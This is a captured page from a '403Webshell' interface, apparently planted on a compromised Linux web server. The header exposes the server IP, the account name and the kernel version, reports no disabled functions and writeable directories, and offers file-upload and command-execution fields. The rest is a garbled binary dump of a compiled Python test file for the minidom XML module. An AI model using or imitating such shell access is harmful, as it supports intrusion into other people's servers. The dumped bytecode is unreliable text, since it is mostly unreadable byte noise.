403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_minidom.cpython-36.pyc
3

�w2_
�@s�ddlZddlZddlmZddlZddlZddlmZmZm	Z	m
Z
ddlmZejddd�Z
dZdd	d
�Zdd�Zd
d�ZGdd�dej�Zedkr�ej�dS)�N)�support)�parse�Node�Document�parseString)�getDOMImplementationztest.xmlZxmltestdata)Zsubdira<?xml version='1.0' encoding='us-ascii'?>
<!DOCTYPE doc PUBLIC 'http://xml.python.org/public' 'http://xml.python.org/system' [
  <!ELEMENT e EMPTY>
  <!ENTITY ent SYSTEM 'http://xml.python.org/entity'>
]><doc attr='value'> text
<?pi sample?> <!-- comment --> <e/> </doc>cCst�jdd|�S)N�doc)r�createDocument)�doctype�r�6/opt/alt/python36/lib64/python3.6/test/test_minidom.py�create_doc_without_doctypesr
cCsxt�jddd�}g|j_g|j_tjjjddd�}|jjj	|�tjjj
dddd�}d|_d|_d|_
|jjj	|�|S)	Nrzmy-notationz"http://xml.python.org/notations/myz	my-entityz!http://xml.python.org/entities/myz1.0zutf-8zus-ascii)rZcreateDocumentType�entitiesZ_seq�	notations�xml�dom�minidomZNotation�appendZEntity�version�encoding�actualEncoding)r
Znotation�entityrrr�create_nonempty_doctypesrcCs.t�}t|�}||jjd�_||jjd�_|S)Nr)rr
r�item�
ownerDocumentr)r
rrrr�create_doc_with_doctype-s
rc@sdeZdZ�ddd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Zdd�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�Zd$d%�Zd&d'�Zd(d)�Zd*d+�Zd,d-�Zd.d/�Zd0d1�Zd2d3�Zd4d5�Zd6d7�Zd8d9�Zd:d;�Zd<d=�Z d>d?�Z!d@dA�Z"dBdC�Z#dDdE�Z$dFdG�Z%dHdI�Z&dJdK�Z'dLdM�Z(dNdO�Z)dPdQ�Z*dRdS�Z+dTdU�Z,dVdW�Z-dXdY�Z.dZd[�Z/d\d]�Z0d^d_�Z1d`da�Z2dbdc�Z3ddde�Z4dfdg�Z5dhdi�Z6djdk�Z7dldm�Z8dndo�Z9dpdq�Z:drds�Z;dtdu�Z<dvdw�Z=dxdy�Z>dzd{�Z?d|d}�Z@d~d�ZAd�d��ZBd�d��ZCd�d��ZDd�d��ZEd�d��ZFd�d��ZGd�d��ZHd�d��ZId�d��ZJd�d��ZKd�d��ZLd�d��ZMd�d��ZNd�d��ZOd�d��ZPd�d��ZQd�d��ZRd�d��ZSd�d��ZTd�d��ZUd�d��ZVd�d��ZWd�d��ZXd�d��ZYd�d��ZZd�d��Z[d�d��Z\d�d��Z]d�d��Z^d�d��Z_d�d��Z`d�d��Zad�d��Zbd�dÄZcd�dńZdd�dDŽZed�dɄZfd�d˄Zgd�d̈́Zhd�dτZid�dфZjd�dӄZkd�dՄZld�dׄZmd�dلZnd�dۄZod�d݄Zpd�d߄Zqd�d�Zrd�d�ZsGd�d�d�Ztd�d�Zud�d�Zvd�d�Zwd�d�Zxd�d�Zyd�d�Zzd�d�Z{d�d��Z|d�d��Z}d�d��Z~d�d��Zd�d��Z�d�d��Z��d�d�Z��d�d�Z��d�d�Z��d�d�Z��d�d	�Z��d
�d�Z��d�d
�Z��dS(�MinidomTest�TestcCs|j||�dS)N)�
assertTrue)�self�testZtestnamerrr�confirm5szMinidomTest.confirmcCs"|j}|j||kd||f�dS)Nzlooking for %r, found %r)�	wholeTextr!)r�node�s�trrr�checkWholeText8szMinidomTest.checkWholeTextc!Cs�t�}|j|j�|jt��|jt|dd��WdQRX|jt��t|dd�WdQRX|jt��|jt|dd��WdQRX|j|j�|jtj�|jt��|jttdd��WdQRXdS)N�asyncTF)r�assertFalseZasync_ZassertWarns�DeprecationWarning�getattr�setattrr)rrrrr�testDocumentAsyncAttr<sz!MinidomTest.testDocumentAsyncAttrcCs:ttd��&}t|�}|j�|jt|t��WdQRXdS)N�rb)�open�tstfiler�unlinkr!�
isinstancer)r�filerrrr�testParseFromBinaryFileKsz#MinidomTest.testParseFromBinaryFilecCs>ttddd��&}t|�}|j�|jt|t��WdQRXdS)N�rz
iso-8859-1)r)r.r/rr0r!r1r)rr2rrrr�testParseFromTextFileQsz!MinidomTest.testParseFromTextFilecCs0tt�}|j|jd�|jjd�k�|j�dS)NZLI)rr/r!�getElementsByTagName�documentElementr0)rrrrr�testGetElementsByTagNameWsz$MinidomTest.testGetElementsByTagNamecCstd�}|j}|jd}|jd�}|j||�|jt|j�dko�|jjdko�|jd|ko�|jjd�|ko�|jd|ko�|jjd�|ko�|j	|ko�|j
|ko�|j�dkd�|jd�}|j|d�|jt|j�dk�oJ|jjdk�oJ|jd|k�oJ|jjd�|k�oJ|jd|k�oJ|jjd�|k�oJ|j
|k�oJ|j|k�oJ|j�d	kd�|jd
�}|j||�|jt|j�dk�o�|jjdk�o�|jd|k�o�|jjd�|k�o�|jd|k�o�|jjd�|k�o�|j
|k�o�|j|k�o�|j�dkd�|j�dS)
Nz<doc><foo/></doc>r�element��z<doc><element/><foo/></doc>z0testInsertBefore -- node properly placed in tree�z%<doc><element/><foo/><element/></doc>�bar�z+<doc><element/><foo/><bar/><element/></doc>)rr7�
childNodes�
createElement�insertBeforer!�len�lengthr�
firstChild�	lastChild�toxml�previousSibling�nextSiblingr0)rr�root�elemZnelemZnelem2rrr�testInsertBefore]sR







zMinidomTest.testInsertBeforecCsrtd�}|jd�}|jd�}|jd�}|jd�}|jj|�|j�}|j|�|j|�|j|�||||||fS)Nz<doc/>Zoriginal�foor=Zbat)r�createTextNoder7�appendChildZcreateDocumentFragment)rr�orig�c1�c2�c3�fragrrr�_create_fragment_test_nodes�s






z'MinidomTest._create_fragment_test_nodescCs�|j�\}}}}}}|jj|d�|jt|jj�||||fkd�|j�|j�|j�\}}}}}}|jj||�|jt|jj�||||fkd�|j�|j�dS)NzinsertBefore(<fragment>, None)zinsertBefore(<fragment>, orig))rTr7rAr!�tupler?r0)rrrOrPrQrRrSrrr�testInsertBeforeFragment�sz$MinidomTest.testInsertBeforeFragmentcCsVtt�}|jj|jd��|j|jjdjdk�|j|jjdjdk�|j	�dS)NZHellor;z#comment���rW)
rr/r7rN�
createCommentr!r?�nodeName�datar0)rrrrr�testAppendChild�s
zMinidomTest.testAppendChildcCsT|j�\}}}}}}|jj|�|jt|jj�||||fkd�|j�|j�dS)NzappendChild(<fragment>))rTr7rNr!rUr?r0)rrrOrPrQrRrSrrr�testAppendChildFragment�sz#MinidomTest.testAppendChildFragmentcCs\|j�\}}}}}}|jj||�|j�|jt|jj�|||fkd�|j�|j�dS)NzreplaceChild(<fragment>))rTr7�replaceChildr0r!rUr?)rrrOrPrQrRrSrrr�testReplaceChildFragment�sz$MinidomTest.testReplaceChildFragmentcCs�t�}|jd�}|jd�}|jtjj|j|�|j|�|jtjj|j||�|jtjj|j	||�|j
}|jtjj|j|�|jtjj|j|�|j|�|j
�dS)Nr9�text)rr@rM�assertRaisesrr�HierarchyRequestErrrNrAr]�
attributesZsetNamedItemZsetNamedItemNSr0)rrrJr_Znodemaprrr�testLegalChildren�s 



zMinidomTest.testLegalChildrencCs�t�}|jd�}|j}d|d<|jd�}|j|j|kd�|j|j|kd�|j|jdkd�|j|jdkd�|j	�|j	�dS)	Nr9r=rLrz-NamedNodeMap.__setitem__() sets ownerDocumentz,NamedNodeMap.__setitem__() sets ownerElementz%NamedNodeMap.__setitem__() sets valuez)NamedNodeMap.__setitem__() sets nodeValue)
rr@rbrr!r�ownerElement�value�	nodeValuer0)rrrJ�attrs�arrr�testNamedNodeMapSetItem�s

z#MinidomTest.testNamedNodeMapSetItemcCsBtt�}|j|�|j|jd��|j|jdj�|j�dS)NrLr;rW)rr/r!rNrXr?r0)rrrrr�testNonZero�s

zMinidomTest.testNonZerocCs,tt�}|j|j�|j�|j|j�dS)N)rr/rr?r0r()rrrrr�
testUnlink�szMinidomTest.testUnlinkc	Cs0tt��}|j|j�WdQRX|j|j�dS)N)rr/rr?r()rrrrr�testContext�s
zMinidomTest.testContextcCs.t�}|j|jd��|j|j�|j�dS)N�abc)rrNr@r!r7r0)rrrrr�testElement�szMinidomTest.testElementcCsjtd�}|j}|jdd�|j|j�dkd�|jd�}|j|j|kd�|j|j|jkd�|j�dS)Nz<abc/>�spam�jam2z<abc spam="jam2"/>�testAAAz!setAttribute() sets ownerDocumentz setAttribute() sets ownerElement)	rr7�setAttributer!rF�getAttributeNoderrdr0)rr�elrhrrrrq�s
zMinidomTest.testAAAcCsFtd�}|j}|jdd�|jdd�|j|j�dkd�|j�dS)Nz<abc/>ro�jamrpz<abc spam="jam2"/>�testAAB)rr7rrr!rFr0)rrrtrrrrv	szMinidomTest.testAABcCs�t�}|j|jd��}|jdd�|j|jd�dk�|j|jdjdk�|jdd�|j|jd�dk�|j|jdjdk�|jt|j�dk�|jdd�|j|jd�dk�|j|jdjdk�|jt|j�dk�|j	�dS)Nrm�def�ghiZjklZmnor:Znewval)
rrNr@rrr!�getAttributerbrerBr0)rr�childrrr�testAddAttrszMinidomTest.testAddAttrcCsrt�}|j|jd��}|jt|j�dk�|jdd�|jt|j�dk�|jd=|jt|j�dk�|j�dS)Nrmrrwrxr;)rrNr@r!rBrbrrr0)rrrzrrr�testDeleteAttr&szMinidomTest.testDeleteAttrcCstt�}|j|jd��}|jdd�|jt|j�dk�|jtj	j
|jd�|jd�|jt|j�dk�|j�dS)Nrmrwrxr;rLr)
rrNr@rrr!rBrbr`rr�NotFoundErrZremoveAttributer0)rrrzrrr�testRemoveAttr1s
zMinidomTest.testRemoveAttrcCs�t�}|j|jdd��}|jddd�|jddd�|jtjj|jdd�|j	t
|j�dk�|jdd�|j	t
|j�d	k�|j�dS)
Nzhttp://www.python.orgz
python:abczhttp://www.w3.orgzxmlns:pythonzpython:abcattrrLr:Zabcattrr;)
rrN�createElementNS�setAttributeNSr`rrr}ZremoveAttributeNSr!rBrbr0)rrrzrrr�testRemoveAttrNS<szMinidomTest.testRemoveAttrNScCs�t�}|j|jd��}|jdd�|jt|j�dk�|jd�}|jt	j
j|jd�|j|�|jt|j�dko||jd�dk�t�}|j|jd��}|jd�}|jt	j
j|j|�|j
�dS)NrLrorur;r)rrNr@rrr!rBrbrsr`rrr}ZremoveAttributeNoder0)rrrzr#�dom2�child2Znode2rrr�testRemoveAttributeNodeJs 


z#MinidomTest.testRemoveAttributeNodecCs6t�}|j|jd��}|jdd�|j|jd��dS)NrLroru)rrNr@rrr!ZhasAttribute)rrrzrrr�testHasAttribute\szMinidomTest.testHasAttributecCstd�}|j}|jdd�|jt|j�dk�|jdd�|jd�|jt|j�dko�|jdjdko�|jdjdko�|j	d�dko�|j
d�j�d|jd<|jt|j�dko�|jdjdko�|jdjdko�|j	d�dko�|jdj�|jdd�|jt|j�dk�on|jdjdk�on|jdjdk�on|j	d�dk�on|jdjdk�on|jdjdk�on|j	d�dk�d	|jd<|jt|j�dk�o�|jdjdk�o�|jdjdk�o�|j	d�dk�o�|jdjd	k�o�|jdjd	k�o�|j	d�d	k�|j�dS)
Nz<abc/>rorur;ZbamZhamZspam2r:Zbam2)
rr7rrr!rBrb�setIdAttributererfryrs�isIdr0)rrrtrrr�testChangeAttrbsD


zMinidomTest.testChangeAttrcCsdS)Nr)rrrr�testGetAttrList�szMinidomTest.testGetAttrListcCsdS)Nr)rrrr�testGetAttrValues�szMinidomTest.testGetAttrValuescCsdS)Nr)rrrr�testGetAttrLength�szMinidomTest.testGetAttrLengthcCs.t�}|j|jdd��}|j|jd�d�dS)Nzhttp://www.python.orgz
python:abc�missing�)rrNr�assertEqualry)rrrzrrr�testGetAttribute�szMinidomTest.testGetAttributecCsvt�}|j|jdd��}|jddd�|j|jdd�d�|j|jdd�d�|j|jd��}|j|jdd	�d�dS)
Nzhttp://www.python.orgz
python:abczhttp://www.w3.orgzxmlns:python�python�otherr�rmr�)rrNrr�r�ZgetAttributeNSr@)rrrzr�rrr�testGetAttributeNS�szMinidomTest.testGetAttributeNScCsdS)Nr)rrrr�testGetAttributeNode�sz MinidomTest.testGetAttributeNodecCs|d}t|�}|jdd�}|jt|�dkol|djdkol|djdkol|djdkol|djdkol|djdk�|j	�dS)NzZ<foo xmlns:minidom='http://pyxml.sf.net/minidom'>
        <minidom:myelem/>
        </foo>zhttp://pyxml.sf.net/minidomZmyelemr;rrzminidom:myelem)
r�getElementsByTagNameNSr!rB�namespaceURI�	localName�prefix�tagNamerYr0)r�drZelemsrrr�testGetElementsByTagNameNS�sz&MinidomTest.testGetElementsByTagNameNScCs"|j||�}|jt|�dk�dS)Nr)r�r!rB)rrZnsuriZlnameZnodelistrrr�5get_empty_nodelist_from_elements_by_tagName_ns_helper�szAMinidomTest.get_empty_nodelist_from_elements_by_tagName_ns_helpercCshtd�}|j|dd�|j|dd�|j|dd�td�}|j|dd�|j|dd�|j|d	d
�dS)Nz<doc/>z"http://xml.python.org/namespaces/aZ	localname�*Zsplatz3<doc xmlns="http://xml.python.org/splat"><e/></doc>zhttp://xml.python.org/splatz	not-therez#http://somewhere.else.net/not-there�e)rr�)rrrrr�+testGetEmptyNodeListFromElementsByTagNameNS�s




z7MinidomTest.testGetEmptyNodeListFromElementsByTagNameNScCs@t�}|j|jd��}t|�}t|�}|j||k�|j�dS)Nrm)rrNr@�repr�strr!r0)rrrt�string1�string2rrr�testElementReprAndStr�sz!MinidomTest.testElementReprAndStrcCs@t�}|j|jd��}t|�}t|�}|j||k�|j�dS)Nrm)rrNr@r�r�r!r0)rrrtr�r�rrr�testElementReprAndStrUnicode�sz(MinidomTest.testElementReprAndStrUnicodecCsPt�}|j|jdd��}t|�}t|�}|j||k�|jd|k�|j�dS)Nzhttp://www.slashdot.orgz	slash:abc)rrNrr�r�r!r0)rrrtr�r�rrr�testElementReprAndStrUnicodeNS�sz*MinidomTest.testElementReprAndStrUnicodeNScCsDt�}|j|jd��}|jdd�}|jt|�t|�k�|j�dS)Nrmrw)rrNr@rrr!r�r�r0)rrrtr#rrr�testAttributeRepr�s
zMinidomTest.testAttributeReprcCsdS)Nr)rrrr�testTextNodeRepr�szMinidomTest.testTextNodeReprcCs.d}t|�}|j�}|j�|j||k�dS)Nz <?xml version="1.0" ?><a b="c"/>)rrFr0r!)rr�r�domstrrrr�testWriteXML�s
zMinidomTest.testWriteXMLcCs:d}t|�}|jdd�}|j�|j||jdd�k�dS)Nz"<?xml version="1.0" ?>
<a b="c"/>
z
)Znewl�
)r�toprettyxmlr0r!�replace)rr�rr�rrr�testAltNewline�s
zMinidomTest.testAltNewlinecCs�d}|jtd�j�|d�|jtd�j�|d�|jtd�j�|d�|jtd�j�|d	�|jtd
�j�|d�dS)Nz<?xml version="1.0" ?>
z<B>A</B>z	<B>A</B>
z<C>A<B>A</B></C>z<C>
	A
	<B>A</B>
</C>
z<C><B>A</B>A</C>z<C>
	<B>A</B>
	A
</C>
z<C><B>A</B><B>A</B></C>z<C>
	<B>A</B>
	<B>A</B>
</C>
z<C><B>A</B>A<B>A</B></C>z <C>
	<B>A</B>
	A
	<B>A</B>
</C>
)r�rr�)r�declrrr� test_toprettyxml_with_text_nodes�s



z,MinidomTest.test_toprettyxml_with_text_nodescCsVt�}|jd�}|j|jd��|j|jd��|j|�d}|j|j�|d�dS)NrJZTEXTz<?xml version="1.0" ?>
z<elem>
	TEXT
	TEXT
</elem>
)rr@rNrMr�r�)rrrJr�rrr�)test_toprettyxml_with_adjacent_text_nodess


z5MinidomTest.test_toprettyxml_with_adjacent_text_nodescCsZxTdD]L}t|�}t|j��}|j|jd�djdj�|jd�djdj��qWdS)N�<B>A</B>�<A><B>C</B></A>�Br)r�r�)rr�r�r6r?rF)rr�rr�rrr�/test_toprettyxml_preserves_content_of_text_nodes
z;MinidomTest.test_toprettyxml_preserves_content_of_text_nodecCs�td�}|jj}|j|jdko�|jdko�|jdko�|jtj	ko�|j
dko�|j�o�t|j
�dko�|jdko�|jdko�|jdko�|jtjjk�dS)Nz<e><?mypi 	
 data 	
 ?></e>Zmypizdata 	
 r)rr7rDr!�targetrZrY�nodeTyper�PROCESSING_INSTRUCTION_NODErb�
hasChildNodesrBr?rEr�r�rr�EMPTY_NAMESPACE)rr�pirrr�testProcessingInstructions






z%MinidomTest.testProcessingInstructioncCsdS)Nr)rrrr�testProcessingInstructionRepr.sz)MinidomTest.testProcessingInstructionReprcCsdS)Nr)rrrr�testTextRepr0szMinidomTest.testTextReprcCsdS)Nr)rrrr�
testWriteText2szMinidomTest.testWriteTextcCsdS)Nr)rrrr�testDocumentElement4szMinidomTest.testDocumentElementcCs:td�}|jd�}|jtjj|j|�|j�|j�dS)Nz<doc/>Zextra)rr@r`rrrarNr0)rrrJrrr�testTooManyDocumentElements6s

z'MinidomTest.testTooManyDocumentElementscCsdS)Nr)rrrr�testCreateElementNS>szMinidomTest.testCreateElementNScCsdS)Nr)rrrr�testCreateAttributeNS@sz!MinidomTest.testCreateAttributeNScCsdS)Nr)rrrr�	testParseBszMinidomTest.testParsecCsdS)Nr)rrrr�testParseStringDszMinidomTest.testParseStringcCsdS)Nr)rrrr�testCommentFszMinidomTest.testCommentcCsdS)Nr)rrrr�testAttrListItemHszMinidomTest.testAttrListItemcCsdS)Nr)rrrr�testAttrListItemsJszMinidomTest.testAttrListItemscCsdS)Nr)rrrr�testAttrListItemNSLszMinidomTest.testAttrListItemNScCsdS)Nr)rrrr�testAttrListKeysNszMinidomTest.testAttrListKeyscCsdS)Nr)rrrr�testAttrListKeysNSPszMinidomTest.testAttrListKeysNScCsPtd�}|j}|j}|jd�}|jd�}|j|j|��|jtj	j
|jd�dS)Nz<doc a=''/>rh)rr7rbrsZremoveNamedItemr!�
isSameNoder`rrr})rrr�rg�a1�a2rrr�testRemoveNamedItemRs

zMinidomTest.testRemoveNamedItemcCsVtd�}|j}|j}|jdd�}|jdd�}|j|j|��|jtj	j
|jdd�dS)Nz.<doc xmlns:a='http://xml.python.org/' a:b=''/>zhttp://xml.python.org/�b)rr7rb�getAttributeNodeNSZremoveNamedItemNSr!r�r`rrr})rrr�rgr�r�rrr�testRemoveNamedItemNS[sz!MinidomTest.testRemoveNamedItemNScCsdS)Nr)rrrr�testAttrListValueseszMinidomTest.testAttrListValuescCsdS)Nr)rrrr�testAttrListLengthgszMinidomTest.testAttrListLengthcCsdS)Nr)rrrr�testAttrList__getitem__isz#MinidomTest.testAttrList__getitem__cCsdS)Nr)rrrr�testAttrList__setitem__ksz#MinidomTest.testAttrList__setitem__cCsdS)Nr)rrrr�testSetAttrValueandNodeValuemsz(MinidomTest.testSetAttrValueandNodeValuecCsdS)Nr)rrrr�testParseElementoszMinidomTest.testParseElementcCsdS)Nr)rrrr�testParseAttributesqszMinidomTest.testParseAttributescCsdS)Nr)rrrr�testParseElementNamespacesssz&MinidomTest.testParseElementNamespacescCsdS)Nr)rrrr�testParseAttributeNamespacesusz(MinidomTest.testParseAttributeNamespacescCsdS)Nr)rrrr�testParseProcessingInstructionswsz+MinidomTest.testParseProcessingInstructionscCsdS)Nr)rrrr�testChildNodesyszMinidomTest.testChildNodescCsdS)Nr)rrrr�testFirstChild{szMinidomTest.testFirstChildcCs<td�}|j}|j|j��td�}|j}|j|j��dS)Nz<doc><foo/></doc>z<doc/>)rr7rr�r()rrrr��doc2rrr�testHasChildNodes}szMinidomTest.testHasChildNodescCs�|j}|j}t|j��}t|j��}|j�|j�|j||kd�xztt|��D]j}|j|�}	|j|�}
|j|	|
k	o�|	j|
jko�|	j	|
j	ko�|	j
|
j
ko�|	j|
jkd�|j|
j|kd�qRWdS)Nz(clone of element has same attribute keysz3clone of attribute node has proper attribute valuesz'clone of attribute node correctly owned)
rb�list�keys�sortr!�rangerBrrerfr�r�rd)r�e1�e2r Zattrs1Zattrs2Zkeys1Zkeys2�ir�r�rrr�!_testCloneElementCopiesAttributes�s$


z-MinidomTest._testCloneElementCopiesAttributescCs^td�}|j}|j|�}|j||d|r*dp,d�d|_|_|jdd�|jdd	�||fS)
Nz<doc attr='value'><foo/></doc>ZtestCloneElementZDeepZShallowZMODIFIED�attrz	NEW VALUEZaddedZVALUE)rr7�	cloneNoder�r�rYrr)r�deeprrI�clonerrr�_setupCloneElement�s
zMinidomTest._setupCloneElementcCsR|jd�\}}|jt|j�dko@|jjdko@|jdko@|j�dkd�|j�dS)Nrz<doc attr="value"/>�testCloneElementShallow)r�r!rBr?rC�
parentNoderFr0)rrr�rrrr��s

z#MinidomTest.testCloneElementShallowcCsR|jd�\}}|jt|j�dko@|jjdko@|jdko@|j�dkd�|j�dS)Nr;z<doc attr="value"><foo/></doc>�testCloneElementDeep)r�r!rBr?rCr�rFr0)rrr�rrrr��s

z MinidomTest.testCloneElementDeepcCs&td�}|jd�}|j|dkd�dS)Nz�<?xml version='1.0'?>
<!-- comment --><!DOCTYPE doc [
<!NOTATION notation SYSTEM 'http://xml.python.org/'>
]>
<doc attr='value'/>rzFtestCloneDocumentShallow: shallow cloning of documents makes no sense!)rr�r!)rrr�rrr�testCloneDocumentShallow�s

z$MinidomTest.testCloneDocumentShallowcCs�td�}|jd�}|j|j|�p(|j|�d�|jt|j�t|j�kd�|j|jjtj	kd�|j|jj
j|�d�|j|jj|j�d�|jdk	r�|j|jjtjkd�|j|jj
j|��|j|jj|j��dS)	Nz�<?xml version='1.0'?>
<!-- comment --><!DOCTYPE doc [
<!NOTATION notation SYSTEM 'http://xml.python.org/'>
]>
<doc attr='value'/>r;z4testCloneDocumentDeep: document objects not distinctz8testCloneDocumentDeep: wrong number of Document childrenz:testCloneDocumentDeep: documentElement not an ELEMENT_NODEz@testCloneDocumentDeep: documentElement owner is not new documentz;testCloneDocumentDeep: documentElement should not be sharedz7testCloneDocumentDeep: doctype not a DOCUMENT_TYPE_NODE)
rr�r!r�rBr?r7r�rZELEMENT_NODErr
�DOCUMENT_TYPE_NODE)rrr�rrr�testCloneDocumentDeep�s"

z!MinidomTest.testCloneDocumentDeepcCs�t�}|jd�}|j|dk	o�|j|jko�|j|jko�|j|jko�|j|jko�t|j�t|j�ko�|jj	t|j��dko�t|j
�t|j
�ko�|j
j	t|j
��dko�t|j�dk�x�tt|j��D]�}|jj	|�}|jj	|�}|j|j
|��oZ|j
|��oZ|j|jk�oZ|j|jk�oZ|j|jk�oZ|j|jk�oZ|j|jk�oZ|j|jk�oZ|j|jk�q�Wxztt|j
��D]h}|j
j	|�}|j
j	|�}|j|j
|��o�|j
|��o�|j|jk�o�|j|jk�o�|j|jk��qrWdS)Nr;r)rr�r!rY�name�publicId�systemIdrBrrrr?r�r��notationNamerrr)rr
r�r�ZseZceZsnZcnrrr�testCloneDocumentTypeDeepOk�s@
z'MinidomTest.testCloneDocumentTypeDeepOkcCs&t�}|jjd�}|j|dkd�dS)Nr;�testCloneDocumentTypeDeepNotOk)rr
r�r!)rrr�rrrr��sz*MinidomTest.testCloneDocumentTypeDeepNotOkcCs�t�}|jd�}|j|dk	o�|j|jko�|j|jko�|j|jko�|j|jko�t|j�dko�|jj	d�dko�t|j
�dko�|j
j	d�dko�t|j�dk�dS)Nr)rr�r!rYr�r�r�rBrrrr?)rr
r�rrr�testCloneDocumentTypeShallowOks
z*MinidomTest.testCloneDocumentTypeShallowOkcCs&t�}|jjd�}|j|dkd�dS)Nr�!testCloneDocumentTypeShallowNotOk)rr
r�r!)rrr�rrrr�sz-MinidomTest.testCloneDocumentTypeShallowNotOkcCs*td�}td�}|jtjj|j||�dS)Nz<doc/>)rr`rr�NotSupportedErr�
importNode)rr��testNameZdoc1r�rrr�check_import_documentsz!MinidomTest.check_import_documentcCs|jdd�dS)Nr�testImportDocumentShallow)r�)rrrrr�sz%MinidomTest.testImportDocumentShallowcCs|jdd�dS)Nr;�testImportDocumentDeep)r�)rrrrrsz"MinidomTest.testImportDocumentDeepcCs(t�}t�}|jtjj|j|jd�dS)Nr)rr
r`rrr�r�r
)r�srcr�rrr�testImportDocumentTypeShallow!sz)MinidomTest.testImportDocumentTypeShallowcCs(t�}t�}|jtjj|j|jd�dS)Nr;)rr
r`rrr�r�r
)rrr�rrr�testImportDocumentTypeDeep'sz&MinidomTest.testImportDocumentTypeDeepcCs�td�}|jjd�}|j|d�|j|�}|j|j|��|j|j|��|j|jdk|d�|j|jj|j�|d�|j|j	|d�dS)Nz<doc attr='value'/>r�z: ownerElement should be Nonez: ownerDocument does not matchz.: cloned attribute must have specified == True)
rr7rsZassertNotEqualr�r!r�rdrZ	specified)rr�r�rr�r�rrr�check_clone_attribute/s


z!MinidomTest.check_clone_attributecCs|jdd�dS)Nr�testCloneAttributeShallow)r)rrrrr=sz%MinidomTest.testCloneAttributeShallowcCs|jdd�dS)Nr;�testCloneAttributeDeep)r)rrrrr@sz"MinidomTest.testCloneAttributeDeepcCsJtd�}|j}|j|jtj�|j|�}|j|j|jkoB|j	|j	k�dS)Nz<?target data?><doc/>)
rrDr�r�rr�r�r!r�rZ)rr�r�rr�r�rrr�check_clone_piCs
zMinidomTest.check_clone_picCs|jdd�dS)Nr�testClonePIShallow)r)rrrrrKszMinidomTest.testClonePIShallowcCs|jdd�dS)Nr;�testClonePIDeep)r)rrrrr	NszMinidomTest.testClonePIDeepc

Cstjjjdj��}Gdd�d�}|�}|j}|jd}|jdd|�|r~|jdd�}|j	|j
jjd	�tjj
j}|jjd}	n:tj|d
d��|jdd�}WdQRXtjj
j}|jd}	|j	|j|�|j	|jd�|j	|jd�|j|j|�|j|j|	�dS)Nu
            <?xml version="1.0" ?>
            <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
                "http://www.w3.org/TR/html4/strict.dtd"
                [ <!ENTITY smile "☺"> ]
            >
            <doc>Don't let entities make you frown &smile;</doc>
        c@seZdZdd�ZdS)z4MinidomTest.check_clone_node_entity.<locals>.HandlercSs"||_||_||_||_||_dS)N)�	operation�keyrZr�dst)rr
rrZrrrrr�handle^s
z;MinidomTest.check_clone_node_entity.<locals>.Handler.handleN)�__name__�
__module__�__qualname__r
rrrr�Handler]srZsmilerrZT)r�u%Don't let entities make you frown ☺r)rrrr�stripr
r�setUserDatar�r�r7rDr"�UserDataHandlerZ
NODE_IMPORTEDrZ	swap_attrZNODE_CLONEDr
rrZZassertIsrr)
rZclone_documentZdocumentr�handlerr
rr�r
rrrr�check_clone_node_entityQs,




z#MinidomTest.check_clone_node_entitycCs|jd�|jd�dS)NFT)r)rrrr�testCloneNodeEntity�s
zMinidomTest.testCloneNodeEntitycCs�td�}|j}|j|jd��|j|jd��|jt|j�dkoJ|jjdkd�|j�|jt|j�dko�|jjdko�|j	|j
ko�|j	jdkd�|j�td�}|j}|j|jd	��|j�|jt|j�d
ko�|jjd
kd�|j�dS)Nz<doc/>�first�secondr:ztestNormalize -- preparationr;�firstsecondztestNormalize -- resultr�rz*testNormalize -- single empty node removed)
rr7rNrMr!rBr?rC�	normalizerDrErZr0)rrrIrrr�
testNormalize�s,


zMinidomTest.testNormalizecCs�td�}|j}|j|jd��|j|jd��|j|jd��|jt|j�dkoZ|jjdkd�|j	�|jt|j�dko�|jjdko�|j
jdko�|j
|jk	o�|j
j
|jko�|j
jdko�|jj|j
ko�|jj
dkd	�|j�dS)
Nz<doc/>rrr�r<z1testNormalizeCombineAndNextSibling -- preparationr:rz-testNormalizeCombinedAndNextSibling -- result)rr7rNrMr@r!rBr?rCrrDrZrErHrGr0)rrrIrrr�"testNormalizeCombineAndNextSibling�s&

z.MinidomTest.testNormalizeCombineAndNextSiblingcCs�td�}|j}|j|jd��|j|jd��|jt|j�dkoJ|jjdkd�|j�|jt|j�dko�|jjdko�|j	j
dko�|j	|jko�|j	jdko�|j	j
dkd�|j�dS)Nz<doc/>rr�r:z1testNormalizeDeleteWithPrevSibling -- preparationr;z,testNormalizeDeleteWithPrevSibling -- result)rr7rNrMr!rBr?rCrrDrZrErHrGr0)rrrIrrr�"testNormalizeDeleteWithPrevSibling�s 

z.MinidomTest.testNormalizeDeleteWithPrevSiblingcCs�td�}|j}|j|jd��|j|jd��|jt|j�dkoJ|jjdkd�|j�|jt|j�dko�|jjdko�|j	j
dko�|j	|jko�|j	jdko�|j	j
dkd�|j�dS)Nz<doc/>r�rr:z1testNormalizeDeleteWithNextSibling -- preparationr;z,testNormalizeDeleteWithNextSibling -- result)rr7rNrMr!rBr?rCrrDrZrErHrGr0)rrrIrrr�"testNormalizeDeleteWithNextSibling�s 

z.MinidomTest.testNormalizeDeleteWithNextSiblingcCs�td�}|j}|j|jd��|j|jd��|j|jd��|jt|j�dkoZ|jjdkd�|j	�|jt|j�dko�|jjdko�|j
|jk	o�|j
j|jko�|j
j
dko�|jj
|j
ko�|jjdkd�|j�dS)Nz<doc/>r�r�r<z1testNormalizeDeleteWithTwoSiblings -- preparationr:z,testNormalizeDeleteWithTwoSiblings -- result)rr7rNr@rMr!rBr?rCrrDrErHrGr0)rrrIrrr�)testNormalizeDeleteWithTwoNonTextSiblings�s$

